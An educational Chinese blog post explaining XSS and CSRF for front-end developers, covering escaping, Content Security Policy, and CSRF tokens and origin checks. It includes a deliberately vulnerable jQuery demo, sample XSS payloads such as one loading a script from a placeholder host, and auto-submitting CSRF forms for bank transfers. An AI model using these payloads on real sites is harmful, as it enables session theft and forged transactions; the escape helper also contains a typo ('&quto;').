美文网首页
XSS与CSRF攻击及防御方法

XSS与CSRF攻击及防御方法

作者: 是一只猫诶 | 来源:发表于2019-05-15 22:08 被阅读0次

前言

web安全这词可能对于服务端工程师来说更加“眼熟”,部分前端工程师并不是十分了解,今天就来讲讲XSS攻击与CSRF攻击及防御方法

XSS

XSS (Cross Site Scripting),即跨站脚本攻击,是一种常见于 Web 应用中的计算机安全漏洞。大部分的XSS 漏洞都来自于程序没有处理好用户输入的文本内容,恶意攻击者往 Web 页面里嵌入恶意的客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的 Cookie、导航到恶意网站、携带木马等等!
XSS 脚本攻击案例:
新浪微博遭受 XSS 攻击
人人网遭受 XSS 攻击

实例

Demo

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"> 
<title>测试XSS攻击</title> 
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js">
</script>
<script>
    $(document).ready(function(){
        $("#tijiao").click(function(){
            var content = $("#username").val();
            $('#name').html(content);
        });
    });
</script>
</head>
<body>
    你的姓名:<input type="text" id="username" name="username">
    <span id='tijiao'>提交</span>
    <br>用户姓名:<span id="name"></span>
</body>
</html>

正常用户的姓名肯定是不会有问题,但是假如用户姓名是:

张三<script>alert(document.cookie)</script>
//甚至
张三<script src="http://xxxx.cn/static/t.js" ></script>

就这样很简单的通过前端页面来获取用户在网站中的信任数据,然后通过自己的脚本文件去执行自己的操作!

XSS防御

一个经典的防御方法就是对内容进行转义和过滤,比如

var escapeHtml = function(str) {
    if(!str) return '';
    str = str.replace(/&/g, '&amp;');
    str = str.replace(/</g, '&lt;');
    str = str.replace(/>/g, '&gt;');
    str = str.replace(/"/g, '&quto;');
    str = str.replace(/'/g, '&#39;');
    // str = str.replace(/ /g, '&#32;');
    return str;
};
var name = escapeHtml(`张三<script>alert(document.cookie)</script>`);

此时 name 中那段脚本代码就会变成:

"张三&lt;script&gt;alert(document.cookie)&lt;/script&gt";

虽然在页面渲染没有变化,但是脚本却不在执行,直接显示为

用户姓名:张三<script>alert(document.cookie)</script>

需要用富文本可能稍微麻烦一些,因为要保留一部分标签和属性,这种场景的话就只能指定部分的标签和属性能够添加,其他的一律转义,部分不支持的标签或者属性让用户处理成图片格式上传至富文本!
当然,我们要转义的不仅仅只是页面数据的渲染,还有请求接口的参数、来自第三方链接,甚至后台返回的数据都应该转义一下!更多转义的策略需要在实际开发中有更多的摸索!
总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

CSP防御

现代浏览器为我们带来了一个全新的安全策略,叫作内容安全策略,Content Security Policy,简称CSP。CSP的思路跟转义不一样,它的着手点是,如果一段代码变成了程序,我们是否应该运行它。或者更准确一点说,它实际上是定义页面上哪一些内容是可被信任的,哪一些内容是不被信任的。

因为我们自己的脚本是预先就知道并放在页面上的,所以我们可以设置好信任关系,当有 XSS 脚本出现时,它并不在我们的信任列表中,因此可以阻止它运行。

它的具体使用方式是在 HTTP 头中输出 CSP 策略:

Content-Security-Policy: <policy-directive>; <policy-directive>

从语法上可以看到,一个头可以输出多个策略,每一个策略由一个指令和指令对应的值组成。指令可以理解为指定内容类型的,比如script-src指令用于指定脚本,img-src用于指定图片。值则主要是来源,比如某个指定的URL,或者self表示同源,或者unsafe-inline表示在页面上直接出现的脚本等。

Content-Security-Policy: script-src 'self';

这样除了在同一个域名下的JS文件外,其它的脚本都不可以执行了,自然之前 XSS 的内容也就失效啦。简单粗暴有没有?
当然,如果需要添加内联的脚本,CSP 只需要指定一个 nonce 属性,或者计算一下 hash 值,即可。详细的用法看 MDN

CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
当一个用户登录我们的网站后,在 Cookies 中会存放用户的身份凭证。在大部分时候,就是一个 SessionId 。当用户下次访问我们的网站的时候,我们用这个凭证识别出用户是谁,有没有登录态。
一个典型的攻击流程:

  1. 受害者登录a.com,并保留了登录凭证(Cookie)。
  2. 攻击者引诱受害者访问了b.com。
  3. b.com 向 a.com 发送了一个请求:a.com/act=xx。
  4. a.com接收到请求后,对请求进行验证,并确认是受害者的凭证及Cookie中的Session_id,误以为是受害者自己发送的请求。
  5. a.com以受害者的名义执行了act=xx。
  6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。
    模拟过程如:
<!DOCTYPE>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form method="post" action="http://www.bank.com/transfer.php">
    <input type="hidden" name="from" value="abc">
    <input type="hidden" name="money" value="10000">
    <input type="hidden" name="to" value="hacker">
</form>
<script> document.forms[0].submit(); </script> 
</body>

可以发现www.hacker.com的网页中包含了一个向www.bank.com自动发起的post请求

特点

  1. 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
  2. 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
  3. 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
  4. 跨站请求可以用各种方式:图片URL、超链接、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。
  5. CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

CSRF的防御

  1. 尽量使用POST,限制GET
    GET接口太容易被拿来做CSRF攻击,看一个示例就知道:
    银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
    危险网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。当然POST并不是万无一失,攻击者只要构造一个form就可以。

  1. 验证码
    验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码,只有那些特别敏感的操作需要加上。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
  2. 同源检测
    既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。
  • Origin Header
  • Referer Header
    这两个Header在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。服务器可以通过解析这两个Header中的域名,确定请求的来源域。如果Origin和Referer都不存在,建议直接进行阻止!
  1. Token验证
    后端人员可以在HTTP请求中以参数的形式加入一个随机产生的token,放入cookie中,然后前端在请求过程中把token带上,最后服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。(注:当网站同时存在XSS漏洞时候,那这个方案也是空谈。所以XSS带来的问题,应该使用XSS的防御方案予以解决
    从上面也能看出大部分的防御工作还是需要服务端来进行,作为前端工程师需要最大限度的配合服务端进行安全防御措施!
    以上重点讲了 XSS 和 CSRF 这两种比较常见的前端安全问题的防御思路,尤其是如何使用一些新的规范、实现来帮助我们进行防御。希望后面浏览器对这些安全相关防御办法的普及率能再高一些,让前端工程师能花更少的时间写出更安全的代码。
    参考网站:
    如何防止XSS攻击?--美团技术团队
    如何防止CSRF攻击?--美团技术团队

相关文章

网友评论

      本文标题:XSS与CSRF攻击及防御方法

      本文链接:https://www.haomeiwen.com/subject/khneaqtx.html